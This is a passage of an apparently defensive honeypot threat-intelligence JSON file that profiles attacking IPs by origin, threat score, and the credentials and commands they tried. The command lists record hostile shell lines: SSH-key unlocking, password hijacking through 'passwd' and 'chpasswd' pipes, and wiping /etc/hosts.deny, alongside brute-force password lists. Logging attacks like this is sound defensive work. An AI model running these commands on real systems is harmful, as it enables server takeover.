        "echo -e \"Admin123\\nqL3RNcuYzsyY\\nqL3RNcuYzsyY\"|passwd|bash",
        "echo -e \"Infra123\\n53N3jgIwvsxZ\\n53N3jgIwvsxZ\"|passwd|bash",
        "echo -e \"password\\nwe82egZu7YDh\\nwe82egZu7YDh\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Switzerland",
      "country_code": "CH",
      "city": null,
      "asn": 53667,
      "as_org": "FranTech Solutions",
      "threat_score": 35.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.6,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 729,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T02:16:41.061000+00:00",
        "last_seen_30d": "2026-03-20T21:12:51.662000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 589,
        "Suricata": 140
      }
    },
    "61.76.112.4": {
      "attack_count": 573,
      "first_seen": "2026-03-03T03:11:48.009Z",
      "last_seen": "2026-03-13T14:55:22.909Z",
      "sessions": 56,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude",
        "clawd",
        "client1",
        "rms",
        "roots",
        "sd",
        "admin1",
        "coder",
        "eadmin",
        "eddy",
        "forge",
        "ftpsecure",
        "jhpark",
        "jira",
        "macha",
        "monitor",
        "obc",
        "odoo"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1233218613f",
        "12345",
        "123456",
        "password",
        "0123456789",
        "1234",
        "1q2w3e4r",
        "Aa@13579",
        "Abc123456789",
        "Eadmin123",
        "Eddy123!",
        "P@ssw0rd!",
        "Password123@",
        "Redhat",
        "Root!1234",
        "Server12345!",
        "Silvia123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"client11234\\nZtKmH3ysr78S\\nZtKmH3ysr78S\\n\"|passwd",
        "echo \"pass123\\nYjOHQVO7LubZ\\nYjOHQVO7LubZ\\n\"|passwd",
        "echo \"rms\\nNRwYF41xxllf\\nNRwYF41xxllf\\n\"|passwd",
        "echo \"root:Y0ly6bmlizaB\"|chpasswd|bash",
        "echo \"root:rHslf9RRnDNq\"|chpasswd|bash",
        "echo -e \"client11234\\nZtKmH3ysr78S\\nZtKmH3ysr78S\"|passwd|bash",
        "echo -e \"pass123\\nYjOHQVO7LubZ\\nYjOHQVO7LubZ\"|passwd|bash",
        "echo -e \"rms\\nNRwYF41xxllf\\nNRwYF41xxllf\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Changwon",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 19.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 28.5,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 710,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T03:11:48.009000+00:00",
        "last_seen_30d": "2026-03-13T14:56:28.875000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 573,
        "Suricata": 137
      }
    },
    "103.189.235.30": {
      "attack_count": 563,
      "first_seen": "2026-03-13T04:29:22.970Z",
      "last_seen": "2026-03-22T07:25:57.766Z",
      "sessions": 42,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "ec2-user",
        "kishore",
        "lee",
        "mailcow",
        "marissa",
        "wpuser",
        "David",
        "bkp",
        "claude",
        "cockpit",
        "db2inst1",
        "dev",
        "es_user",
        "ftpuser",
        "help",
        "hsadmin",
        "jon",
        "jwlee"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345678",
        "password",
        "123",
        "12345",
        "1234",
        "123456",
        "Aa12345@",
        "Mailcow123!",
        "Qwerty123",
        "Software123",
        "Wg123!",
        "bkp",
        "dev123!",
        "ec2-user123!",
        "es_user123!",
        "ftpuser123",
        "jon123",
        "jyb-2025"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345678\\n2fZPGVe615Ly\\n2fZPGVe615Ly\\n\"|passwd",
        "echo \"12345678\\ngnoZDCfDGfME\\ngnoZDCfDGfME\\n\"|passwd",
        "echo \"123456\\nXDKsmdXueEp4\\nXDKsmdXueEp4\\n\"|passwd",
        "echo \"Mailcow123!\\n0d5dstRlL5Rs\\n0d5dstRlL5Rs\\n\"|passwd",
        "echo \"lee1234\\nupmFWtZu3C6C\\nupmFWtZu3C6C\\n\"|passwd",
        "echo \"root:8Egmy6jOm4EW\"|chpasswd|bash",
        "echo -e \"12345678\\n2fZPGVe615Ly\\n2fZPGVe615Ly\"|passwd|bash",
        "echo -e \"12345678\\ngnoZDCfDGfME\\ngnoZDCfDGfME\"|passwd|bash",
        "echo -e \"123456\\nXDKsmdXueEp4\\nXDKsmdXueEp4\"|passwd|bash",
        "echo -e \"Mailcow123!\\n0d5dstRlL5Rs\\n0d5dstRlL5Rs\"|passwd|bash",
        "echo -e \"lee1234\\nupmFWtZu3C6C\\nupmFWtZu3C6C\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 138608,
      "as_org": "Cloud Host Pte Ltd",
      "threat_score": 34.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.2,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 660,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-13T04:29:22.970000+00:00",
        "last_seen_30d": "2026-03-22T07:27:07.296000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 563,
        "Suricata": 97
      }
    },
    "51.158.120.121": {
      "attack_count": 491,
      "first_seen": "2026-03-02T07:12:34.730Z",
      "last_seen": "2026-03-26T07:21:11.243Z",
      "sessions": 48,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "bot",
        "ftpuser1",
        "kafka",
        "postgres",
        "sinusbot",
        "adrian",
        "bert",
        "bitrix",
        "chrome",
        "clawd",
        "def",
        "deploy",
        "ghostadmin",
        "kirill",
        "lan",
        "matin",
        "max",
        "netflow"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123456",
        "123123123",
        "1234",
        "12345",
        "12345678",
        "20252025",
        "Admin12#$",
        "Matin123",
        "Password123",
        "Qwe123!@#",
        "Qwe123456",
        "a123456798",
        "a2at",
        "aA!@#windows",
        "aaa22",
        "abcd1234..",
        "bert"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345678\\nrZNL3Esgjz2x\\nrZNL3Esgjz2x\\n\"|passwd",
        "echo \"ftpuser1123\\nxLdD8FTNJ7rS\\nxLdD8FTNJ7rS\\n\"|passwd",
        "echo \"root:COmvHzVCkdxv\"|chpasswd|bash",
        "echo \"root\\nCYDXarxUFCKG\\nCYDXarxUFCKG\\n\"|passwd",
        "echo -e \"12345678\\nrZNL3Esgjz2x\\nrZNL3Esgjz2x\"|passwd|bash",
        "echo -e \"ftpuser1123\\nxLdD8FTNJ7rS\\nxLdD8FTNJ7rS\"|passwd|bash",
        "echo -e \"root\\nCYDXarxUFCKG\\nCYDXarxUFCKG\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Paris",
      "asn": 12876,
      "as_org": "Scaleway S.a.s.",
      "threat_score": 50.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.8,
        "persistence": 20.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 600,
        "days_active_30d": 25,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T07:12:34.730000+00:00",
        "last_seen_30d": "2026-03-26T07:22:15.708000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 491,
        "Suricata": 109
      }
    },
    "103.23.198.244": {
      "attack_count": 469,
      "first_seen": "2026-03-02T06:00:19.092Z",
      "last_seen": "2026-03-26T08:11:47.848Z",
      "sessions": 35,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ROOTUSER",
        "arma3server",
        "christine",
        "ovirt",
        "abdul",
        "don",
        "dp",
        "linode",
        "monitor",
        "orchestrator",
        "questdb",
        "vpn"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "1234",
        "123",
        "12345",
        "CHANGEME123",
        "Don123",
        "Mm123456",
        "Qwe123123",
        "a12sd3",
        "ab@123456",
        "admin",
        "admin2024",
        "christine",
        "kmzway87aa",
        "ovirt",
        "pablo",
        "qaz123!@#",
        "qwe123123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345\\nxEux8zJKZRI8\\nxEux8zJKZRI8\\n\"|passwd",
        "echo \"CHANGEME123\\nXOYLOiWzxRd8\\nXOYLOiWzxRd8\\n\"|passwd",
        "echo \"christine\\ndiaNK2VUp2u4\\ndiaNK2VUp2u4\\n\"|passwd",
        "echo \"ovirt\\nfc69vwg516Wm\\nfc69vwg516Wm\\n\"|passwd",
        "echo \"root:gwx65rE6tNgq\"|chpasswd|bash",
        "echo -e \"12345\\nxEux8zJKZRI8\\nxEux8zJKZRI8\"|passwd|bash",
        "echo -e \"CHANGEME123\\nXOYLOiWzxRd8\\nXOYLOiWzxRd8\"|passwd|bash",
        "echo -e \"christine\\ndiaNK2VUp2u4\\ndiaNK2VUp2u4\"|passwd|bash",
        "echo -e \"ovirt\\nfc69vwg516Wm\\nfc69vwg516Wm\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 50.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.4,
        "persistence": 20.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 555,
        "days_active_30d": 25,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T06:00:19.092000+00:00",
        "last_seen_30d": "2026-03-26T08:12:54.658000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 469,
        "Suricata": 86
      }
    },
    "27.79.43.253": {
      "attack_count": 452,
      "first_seen": "2026-03-28T10:19:44.352Z",
      "last_seen": "2026-03-28T10:58:43.575Z",
      "sessions": 90,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "support",
        "developer",
        "test",
        "ubnt",
        "1234",
        "ace",
        "am",
        "anton",
        "ashish",
        "auto",
        "backup",
        "brenda",
        "btf",
        "cf1c22",
        "cisco",
        "client",
        "dubai",
        "ftp"
      ],
      "passwords_attempted": [
        "admin",
        "123456",
        "password",
        "0l0ctyQh243O63uD",
        "1234",
        "12345",
        "12345678",
        "039715582364317",
        "1",
        "111111",
        "123456789",
        "321start",
        "91482d",
        "@",
        "P@ssw0rd",
        "abcdefg",
        "ace",
        "admin01",
        "admin123",
        "admin1234"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 38.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.1,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 642,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T10:19:44.352000+00:00",
        "last_seen_30d": "2026-03-28T10:59:49.542000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 452,
        "Suricata": 190
      }
    },
    "185.239.84.249": {
      "attack_count": 451,
      "first_seen": "2026-03-02T03:06:28.823Z",
      "last_seen": "2026-03-03T02:03:55.509Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1233218613",
        "11111111",
        "123456A!",
        "Abc.123456",
        "Administrator1",
        "Changeme_1234",
        "Gfhjkm123",
        "P@ssw0rd.1",
        "Pa$$w0rd2025",
        "Password123",
        "Qwerty1234567890",
        "Test123!!",
        "Ubuntu2023",
        "Yg12345678",
        "Zz@123456",
        "aA111111",
        "abc123==",
        "asdf1234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"1233218613\\nsbDppZfOA37N\\nsbDppZfOA37N\\n\"|passwd",
        "echo \"root:71sTJaswhmA3\"|chpasswd|bash",
        "echo \"root:J2VzoyfYE4Zx\"|chpasswd|bash",
        "echo \"root:LW5vsKfxBKVF\"|chpasswd|bash",
        "echo \"root:oUEoopTeNCeC\"|chpasswd|bash",
        "echo -e \"1233218613\\nsbDppZfOA37N\\nsbDppZfOA37N\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 55933,
      "as_org": "Cloudie Limited",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.2,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 525,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T03:06:28.823000+00:00",
        "last_seen_30d": "2026-03-03T02:05:02.391000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 451,
        "Suricata": 74
      }
    },
    "103.193.176.131": {
      "attack_count": 429,
      "first_seen": "2026-03-03T18:08:53.633Z",
      "last_seen": "2026-03-20T12:37:39.040Z",
      "sessions": 39,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "jira",
        "mysql",
        "clawd",
        "ct",
        "dmdba",
        "erp",
        "iptv",
        "kk",
        "lorenzo",
        "nominatim",
        "roman",
        "scan",
        "superset",
        "taibabi",
        "vps",
        "vscode",
        "wilson",
        "work"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345678",
        "kk",
        "11",
        "123",
        "12345",
        "123456@Ab",
        "2024",
        "6yhn&UJM",
        "Dmdba123",
        "QWERqwer123",
        "Qqq123456",
        "Work123!",
        "Zy123456",
        "a1987654",
        "a1w2er3s4",
        "a5065578",
        "iptv1234",
        "jirapass"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"12345678\\nBDJRaw9NKLMN\\nBDJRaw9NKLMN\\n\"|passwd",
        "echo \"jirapass\\nGUqkjtnKTTCG\\nGUqkjtnKTTCG\\n\"|passwd",
        "echo \"root:JNTvIlRMEQQP\"|chpasswd|bash",
        "echo \"root:XFR5tzM9P3LE\"|chpasswd|bash",
        "echo -e \"12345678\\nBDJRaw9NKLMN\\nBDJRaw9NKLMN\"|passwd|bash",
        "echo -e \"jirapass\\nGUqkjtnKTTCG\\nGUqkjtnKTTCG\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 34.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.2,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 521,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T18:08:53.633000+00:00",
        "last_seen_30d": "2026-03-20T12:38:41.996000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 429,
        "Suricata": 92
      }
    },
    "128.1.131.163": {
      "attack_count": 422,
      "first_seen": "2026-03-10T17:49:11.298Z",
      "last_seen": "2026-03-23T03:08:05.429Z",
      "sessions": 46,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "admin",
        "arm",
        "cheeki",
        "foundry",
        "irene",
        "root",
        "alice",
        "anders",
        "asdf",
        "clawd",
        "coolify",
        "db2admin",
        "devops",
        "dockeradmin",
        "dockeruser",
        "dspace",
        "francisco",
        "informix",
        "innova"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "12345",
        "123456",
        "12345678",
        "123!@#qwe",
        "1234",
        "@dmin",
        "Anders123",
        "Arm123",
        "Asdf123",
        "Db2admin123",
        "Francisco123!",
        "Root12345!",
        "Sgeadmin123",
        "Tst123!",
        "cheekipass",
        "dockeruserpass",
        "dspace1234"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345\\nG5ybeq0oMCAd\\nG5ybeq0oMCAd\\n\"|passwd",
        "echo \"Arm123\\nlTQCRl24UaEM\\nlTQCRl24UaEM\\n\"|passwd",
        "echo \"root:RKdpjHqfknXI\"|chpasswd|bash",
        "echo -e \"12345\\nG5ybeq0oMCAd\\nG5ybeq0oMCAd\"|passwd|bash",
        "echo -e \"Arm123\\nlTQCRl24UaEM\\nlTQCRl24UaEM\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 37.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.2,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 528,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T17:49:11.298000+00:00",
        "last_seen_30d": "2026-03-23T03:09:09.543000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 422,
        "Suricata": 106
      }
    },
    "27.79.7.184": {
      "attack_count": 409,
      "first_seen": "2026-03-07T07:32:12.915Z",
      "last_seen": "2026-03-07T08:07:29.236Z",
      "sessions": 81,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "test",
        "support",
        "user",
        "1234",
        "admian",
        "anton",
        "auto",
        "belkinstyle",
        "bin",
        "btf",
        "cf1c22",
        "config",
        "ftp",
        "ftpuser",
        "george",
        "guest",
        "guest1",
        "helpdesk"
      ],
      "passwords_attempted": [
        "admin",
        "1234",
        "password",
        "12345",
        "admin123",
        "0l0ctyQh243O63uD",
        "1111",
        "123456",
        "12345678",
        "321start",
        "72ca06",
        "@",
        "OkwKcECs8qJP2Z",
        "P@ssw0rd",
        "abc123",
        "abcd1234",
        "abcdefg",
        "admin01",
        "admin@123",
        "alpine"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 8.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.7,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 585,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T07:32:12.915000+00:00",
        "last_seen_30d": "2026-03-07T08:08:33.642000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 409,
        "Suricata": 176
      }
    },
    "134.209.101.17": {
      "attack_count": 376,
      "first_seen": "2026-03-23T13:20:07.291Z",
      "last_seen": "2026-03-25T10:18:58.166Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "devops",
        "rramirez",
        "terraria",
        "ve",
        "apagar",
        "comp",
        "db2inst",
        "kishore",
        "labs",
        "peter",
        "sakura",
        "shawn",
        "sistemas",
        "user01",
        "user123",
        "vadim",
        "ww"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "123",
        "123123",
        "1234",
        "123456",
        "12345678",
        "1qaz@WSX#EDC",
        "Apagar123",
        "Comp123",
        "Db2inst123",
        "Sakura123!",
        "Servidor1",
        "User01123!",
        "labs123",
        "password",
        "peter1234",
        "user123123!",
        "ve123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
